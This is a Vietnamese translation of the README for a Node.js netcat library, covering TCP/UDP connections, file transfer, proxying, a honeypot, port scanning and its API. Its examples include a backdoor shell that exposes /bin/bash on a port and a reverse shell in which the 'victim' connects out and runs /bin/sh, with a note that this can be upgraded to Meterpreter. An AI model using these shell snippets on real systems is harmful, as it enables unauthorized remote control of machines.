Netcat
Client và server của Netcat viết bằng Javascript thuần cho Node.js.
Các module đã được kiểm tra kỹ càng, triển khai tất cả các tính năng cơ bản của netcat. Để sử dụng như một công cụ độc lập, hãy cài đặt gói nc.
Linux/Mac | Windows |
---|---|
Những gì bạn có thể thực hiện :computer:
- TCP & UDP
- Backdoor (Reverse Shell)
- Honeypot
- Truyền tệp
- Chuyển tiếp cổng
- Proxy
- Máy chủ Web
- Quét cổng
Tính năng cải tiến
- Lọc dữ liệu đến
- Mã hóa.
- Xác thực (
.auth('pass')
). allow
&deny
địa chỉ IP từ xa cụ thể.
Cài đặt
$ npm install --save netcat
Cách sử dụng
const NetcatServer = require('netcat/server')
const NetcatClient = require('netcat/client')
const nc = new NetcatServer()
const nc2 = new NetcatClient()
Ví dụ
API của module này cố gắng tuân theo mức tối đa các tham số dòng lệnh gốc của netcat.
Ví dụ: nc -l -p 2389
tương đương với nc.port(2389).listen()
. Dễ dàng phải không?
Kết nối máy chủ và máy khách
Máy chủ | Máy khách |
---|---|
nc.port(2389).listen() |
nc2.addr('127.0.0.1').port(2389).connect() |
Truyền tệp
Máy chủ | Máy khách |
---|---|
nc.port(2389).listen().pipe(outputStream) |
inputStream.pipe(nc2.port(2389).connect().stream()) |
Hoặc ngược lại bạn có thể thực hiện tương đương của nc -l -p 2389 < filename.txt
và khi ai đó khác kết nối vào cổng 2389 của bạn, tệp sẽ được gửi cho họ dù họ có muốn hay không:
Máy chủ | Máy khách |
---|---|
nc.port(2389).serve('filename.txt').listen() |
nc2.port(2389).connect().pipe(outputStream) |
Kết nối duy trì kết nối
Máy chủ | Máy khách |
---|---|
nc.port(2389).k().listen() |
inputStream.pipe(nc2.port(2389).connect().stream()) |
Máy chủ sẽ được duy trì hoạt động và không đóng sau kết nối đầu tiên. (k()
là tên gọi khác của keepalive()
)
Phục vụ bộ đệm nguyên thô
Máy chủ | Máy khách |
---|---|
nc.port(2389).listen().serve(Buffer.from('Hello World')) |
nc2.port(2389).connect().on('data', console.log) |
Backdoor shell
Server | Client |
---|---|
nc.port(2389).listen().exec('/bin/bash') |
process.stdin.pipe( nc2.addr('127.0.0.1').port(2389).connect().pipe(process.stdout).stream() ) |
Phương thức exec()
thực hiện lệnh đã cho và đồng bộ stdout
và stderr
của nó với socket
của client.
Reverse shell
Kẻ tấn công | Nạn nhân |
---|---|
nc.k().port(2389).listen().serve(process.stdin).pipe(process.stdout) |
nc2.addr('127.0.0.1').port(2389) .retry(5000).connect().exec('/bin/sh') |
- Có thể nâng cấp lên Meterpreter!
Netcat như một proxy
Netcat có thể dễ dàng cấu hình như một máy chủ proxy:
var nc = new NetcatServer()
var nc2 = new NetcatClient()
nc2.addr('google.com').port(80).connect()
nc.port(8080).k().listen().proxy(nc2.stream())
Toàn bộ dữ liệu truyền qua localhost:8080
sẽ được chuyển hướng đến google.com:80
. Tương tự, bạn có thể thiết lập chuyển tiếp cổng bằng cách sử dụng cùng một máy chủ.
Honeypot
Giả vờ là một máy chủ Apache:
var apache = `HTTP/1.1 200 OK
Date: Sat, 27 May 2017 16:51:02 GMT
Server: Apache/2.4.7 (Ubuntu)
Cache-Control: public, max-age=0
Content-Type: text/html; charset=utf-8
Content-Length: 16894
Vary: Accept-Encoding
`
var nc = new NetcatServer()
var logFile = fs.createWriteStream('log.txt')
nc.port(80).k().listen().serve(Buffer.from(apache)).pipe(logFile)
Quét cổng
Client của netcat cũng cung cấp chức năng quét cổng cơ bản.
var nc = new NetcatClient()
nc.addr('127.0.0.1').scan('22-80', function(ports){
// ports: { '22': 'open', '23': 'closed' ... }
})
Trình quét cổng chỉ hỗ trợ giao thức TCP. Quét UDP không được really effective. scan(...)
cũng chấp nhận mảng hoặc số nguyên.
Lọc dữ liệu đến
var nc = new NetcatServer()
nc.addr('127.0.0.1').port(8080).filter(function (chunk, enc, cb) {
// transform upper case
var out = chunk.toString().toUpperCase()
this.push(Buffer.from(out))
cb(null)
}).pipe(process.stdout).connect()
Kết nối đến tệp sock UNIX
Cả máy chủ và máy khách của Netcat đều hỗ trợ kết nối socket UNIX. Hãy sử dụng trường hợp của Netcat client để kết nối đến tệp socket UNIX của Docker và lấy danh sách hình ảnh container của chúng ta.
nc2.unixSocket('/var/run/docker.sock').enc('utf8')
.on('data', function(res){
console.log(res)
})
.connect()
.send('GET /images/json HTTP/1.0\r\n\r\n')
Lắng nghe gói UDP
var nc = new NetcatServer()
nc.udp().port(2100).listen().on('data', function (rinfo, data) {
console.log('Got', data.toString(), 'from', rinfo.address, rinfo.port)
nc.close()
})
Gửi gói UDP
var nc2 = new NetcatClient()
nc2.udp().port(2100).wait(1000).init().send('hello', '127.0.0.1')
Gửi bộ đệm hello
đến cổng 2100
, sau đó sau 1000
ms đóng kết nối client.
API
port(int)
hoặc p(int)
Netcat có thể ràng buộc với bất kỳ cổng nào trên máy cục bộ, tuỳ thuộc vào các ràng buộc về đặc quyền và các cổng đã được sử dụng.
address(host)
hoặc addr(host)
- Khi sử dụng ở phía máy chủ: thiết lập địa chỉ cục bộ để lắng nghe. Mặc định là
0.0.0.0
. - Khi sử dụng ở phía máy khách: thiết lập địa chỉ từ xa để kết nối. Mặc định là
127.0.0.1
.
listen()
Khiến máy chủ UDP/TCP lắng nghe trên cổng đã được thiết lập trước đó.
unixSocket(path)
– Chỉ hỗ trợ TCP
Tùy chọn, bạn có thể cung cấp đường dẫn đến tệp sock unix và lắng nghe/kết nối đến nó.
connect()
– Chỉ hỗ trợ TCP
Chỉ phía máy khách. Cho phép máy khách kết nối đến địa chỉ và cổng đã được thiết lập trước đó.
retry(ms)
– Chỉ hỗ trợ TCP
Chỉ phía máy khách. Thử kết nối lại mỗi ms
mili giây khi mất kết nối.
interval(ms)
hoặc i(ms)
Chỉ phía máy khách: Xác định khoảng thời gian trễ cho dữ liệu gửi đi. Bằng mili giây.
waitTime(ms)
hoặc wait(ms)
Đặt thời gian chờ.
- Một máy chủ sẽ đợi
ms
mili giây từ lần dữ liệu đầu tiên và nếu không nhận thêm dữ liệu, máy chủ sẽ đóng kết nối. - Một máy khách sẽ đợi
ms
mili giây từ lần dữ liệu gửi đầu tiên và nếu không còn dữ liệu để gửi, máy khách sẽ đóng kết nối.
stream()
Trả về tham chiếu DuplexStream của máy khách.
pipe(outStream)
Đường ống dữ liệu đến từ máy khách tới outStream đã cho.
filter(transformFn)
Lọc dữ liệu đến bằng hàm biến đổi đã cho function (chunk, enc, cb){...}
trước khi được ống dẫn ra.
NB : Dữ liệu bạn nhận được qua .on('data', cb)
không bị lọc. Bộ lọc chỉ áp dụng trên luồng .pipe(...)
đã được ống dẫn.
Lưu ý về vấn đề đã biết : Hiện tại through2
doesn’t respect mã hóa. Nếu bạn đặt một bộ lọc, bạn sẽ nhận được một buffer và phương thức enc()
sẽ không có tác dụng.
serve()
Phương thức phía máy chủ.
Phương thức serve
chấp nhận một chuỗi (chỉ ra tên tệp, hãy đảm bảo tệp tồn tại), một luồng Readable hoặc một Buffer. Khi bạn truyền một luồng đọc được, phương thức giữ kết nối có thể khiến luồng bị tiêu thụ ngay tại yêu cầu đầu tiên và không thể cung cấp thêm (Luồng không được lưu trữ trong một buffer).
Hơn nữa, khi cung cấp tệp hoặc một Buffer đến một socket, phương thức ống sẽ phát ra một sự kiện end
(EOF) đến socket. Đóng luồng.
send(data [, cb|host])
Phía máy khách:
- trong TCP: gửi dữ liệu đến máy chủ đã kết nối.
cb
được gọi khi dữ liệu được gửi. - trong UDP: gửi dữ liệu đến địa chỉ đích hoặc đến máy chủ đã cho nếu có.
Phía máy chủ:
- trong TCP: không khả dụng trong tcp, hãy sử dụng
serve()
thay vào đó. - trong UDP: gửi dữ liệu đến địa chỉ đích hoặc đến máy chủ đã cho nếu có.
end(data)
– Chỉ hỗ trợ TCP
Phương thức phía máy khách. Gửi dữ liệu đã cho và đóng kết nối.
close([cb])
Đóng kết nối (hoặc các kết nối nếu được thực thi ở phía máy chủ) và gọi cb
khi socket được đóng.
enc()
Đặt một mã hóa. Các mã hóa phổ biến nhất là: utf8
, ascii
, base64
, hex
, binary
, hex
.
protocol(prot)
Đặt một giao thức tùy chỉnh. Không khuyến nghị sử dụng phương thức này. Hãy sử dụng các phương thức tcp()
và udp()
thay thế. tcp
là giá trị mặc định.
keepalive()
hoặc k()
– Chỉ hỗ trợ TCP
Phương thức phía máy chủ.
Khi bạn đặt keepalive, máy chủ sẽ duy trì hoạt động và có thể luồng ra được cung cấp cho pipe(outStream)
vẫn còn mở.
Mặc định trong chế độ UDP, việc lắng nghe được duy trì cho đến khi có một nc.close()
tường minh.
exec()
– Chỉ hỗ trợ TCP
Phương thức exec()
thực hiện lệnh đã cho và đồng bộ stdout
và stderr
của nó với socket
của client. Nó tùy chọn chấp nhận một chuỗi và một mảng args như tham số thứ hai và spawn options là tham số thứ ba. Nếu tìm thấy ký tự ống |
thì tất cả các lệnh sẽ được xử lý dưới sh -c
.
Ví dụ:
nc.p(2389).exec('base64', ['-d']).listen()
// OR
nc.p(2389).exec('base64 | grep hello').listen()
getClients()
– Chỉ hỗ trợ TCP
Phương thức phía máy chủ. Trả về một đối tượng liệt kê tất cả các tham chiếu socket của client.
proxy(duplexStream)
– Chỉ hỗ trợ TCP
Phương thức phía máy chủ. Phương thức này ống dữ liệu đến/đi từ máy chủ đến/đi từ duplexStream đã cung cấp. Đó là một phím tắt cho cả hai cuộc gọi: .serve(duplexStream)
và .pipe(duplexStream)
.
output(outStream)
hoặc out(outStream)
Ghi một Hex dump của luồng dữ liệu đến/đi từ dữ liệu vào/đi ra đến luồng có thể ghi outStream
.
Một hàng đại diện cho một phần của ít nhất 16 byte theo mặc định.
Ký tự đầu tiên có thể là <
hoặc >
, tương ứng “mảng dữ liệu đầu vào” hoặc “mảng dữ liệu đi ra”.
scan(portsInterval, cb)
– Chỉ hỗ trợ TCP
Phía máy khách của netcat cung cấp cũng chức năng quét cổng cơ bản.
Các tham số là bắt buộc. Tham số đầu tiên chỉ định cổng/các cổng để quét. Nó có thể là một số nguyên đơn, một khoảng chuỗi (như 22-80
) hoặc một mảng số nguyên ([22, 23, 1880]
). Cuộc gọi lại trả về một đối tượng kết quả như { '22': 'mở', '23': 'đóng' ... }
.
init()
– Chỉ hỗ trợ UDP
Phiên bản UDP của connect()
. Chỉ dành cho máy khách UDP.
bind(<int>)
– Chỉ hỗ trợ UDP
Hãy để máy khách/máy chủ UDP lắng nghe trên cổng đã cho. Nó cũng sẽ được sử dụng làm cổng ra nếu không gọi .port(<n>)
.
broadcast(<dst>)
hoặc b(<dst>)
– Chỉ UDP
Đặt chế độ phát sóng cho máy chủ UDP (cuối cùng bạn có thể chỉ định địa chỉ đích).
destination(<dst>)
– Chỉ UDP
Đặt địa chỉ đích. (127.0.0.1
là giá trị mặc định)
loopback()
– Chỉ UDP
Kích hoạt chế độ loopback. Ví dụ, khi máy chủ UDP được ràng buộc vào một cổng và gửi một tin nhắn đến cổng đó, nó sẽ nhận lại tin nhắn nếu chế độ loopback được kích hoạt.
bind(int)
– Chỉ UDP
Ràng buộc Máy Chủ/Máy Khách UDP để lắng nghe trên cổng đã cho và sử dụng cổng được đặt bằng port()
chỉ cho các gói tin ra.
Sự kiện
Các mô-đun netcat mở rộng lớp EventEmitter
. Bạn sẽ có thể bắt được một số sự kiện trực tiếp từ các socket. Ví dụ, sự kiện data
cho máy chủ:
Máy Chủ | Máy Khách |
---|---|
nc.port(2389).listen().on('data', onData) |
inputStream.pipe(nc2.port(2389).connect().stream()) |
function onData (socket, chunk) {
console.log(socket.id, 'got', chunk) // Buffer <...>
socket.write('hello client') // reply to the client
}
Sự kiện máy chủ
.on('data', function(sock/rinfo, msg){})
Được phát ra khi máy chủ nhận dữ liệu từ các máy khách.
.on('ready', cb)
Được phát ra khi máy chủ lắng nghe/ràng buộc thành công vào một cổng.
.on('close', cb)
Được phát ra khi máy chủ đóng.
.on('clientClose', function(socket, hadError){})
– Chỉ TCP
Được gọi khi một máy khách ngắt kết nối từ máy chủ. Cuộc gọi lại chấp nhận tham số thứ nhất là thể hiện socket
vừa mới ngắt kết nối và giá trị bool hadError
.
.on('connection', function(socket){})
– Chỉ TCP
Được phát ra khi một máy khách mới kết nối vào máy chủ.
.on('end', function(socket){})
– Chỉ TCP
Cảm ơn bạn!
Phát ra khi một máy khách kết thúc kết nối.
.on('timeout', function(socket){})
– Chỉ TCP
Sự kiện hết thời gian chờ của socket.
.on('waitTimeout', cb)
Được kích hoạt khi máy chủ không hoạt động trong khoảng thời gian được chỉ định bởi wait(ms)
.
.on('error', function(err){})
Được phát ra khi có lỗi xảy ra.
Sự kiện Máy Khách
.on('data', function(msg){})
Dữ liệu từ máy chủ.
.on('close', cb)
Được phát ra khi máy khách đóng kết nối.
.on('waitTimeout', cb)
Được kích hoạt khi máy khách không hoạt động trong khoảng thời gian được chỉ định bởi wait(ms)
.
.on('connect', cb)
– Chỉ TCP
Được phát ra khi máy khách thiết lập kết nối với máy chủ.
.on('error', function(err){})
Được phát ra khi có lỗi xảy ra.
Sử dụng dòng lệnh (CLI)
Đối với việc sử dụng độc lập, hãy cài đặt gói CLI nc:
$ npm install -g nc
Ví dụ:
$ # Listen for inbound
$ nc -l -p port [- options] [hostname] [port]
Các tùy chọn khả dụng:
-c các lệnh shell dưới dạng '-e'; sử dụng /bin/sh để thực thi [nguy hiểm!!]
-e tên tập tin chương trình để thực thi sau khi kết nối [nguy hiểm!!]
-b cho phép phát sóng
-i secs khoảng thời gian trễ cho các dòng gửi, cổng được quét (phía máy khách)
-h thông tin trợ giúp
-k thiết lập tùy chọn giữ kết nối trên socket
-l chế độ lắng nghe, cho kết nối đến
-n chỉ địa chỉ IP theo dạng số, không sử dụng DNS
-o tập tin bản ghi hex của dữ liệu truyền đi
-p số cổng cục bộ
-r ngẫu nhiên hóa các cổng cục bộ và từ xa
-q secs kết thúc sau khi EOF trên stdin và đợi trong khoảng thời gian của secs
-s địa chỉ nguồn cục bộ
-u chế độ UDP
-U Lắng nghe hoặc kết nối đến một socket miền UNIX
-v verbose
-w secs thời gian chờ kết nối và đọc mạng cuối cùng
-z chế độ không I/O [được sử dụng để quét]
GỬI TIN HIỂU
Gửi tin hiểu tương tự chế độ chi tiết. Bạn có thể bật nó bằng tham số verbose: true
hoặc biến môi trường DEBUG=netcat:*
Kiểm tra
Chạy chúng với: npm test
Phủ sóng:
- Kiểm tra phương thức
.serve(input)
- Kiểm tra kết nối keepalive bằng cách sử dụng
.pipe()
vàserve()
. - serve có thể chấp nhận cả chuỗi hoặc luồng.
- Phương thức
exec()
- Lối vào bên sau
- Máy chủ proxy
- UDP.
Chi tiết Tải xuống:
Tác giả: Roccomuso
Mã nguồn: https://github.com/roccomuso/netcat
Giấy phép: MIT license
Cảm ơn bạn!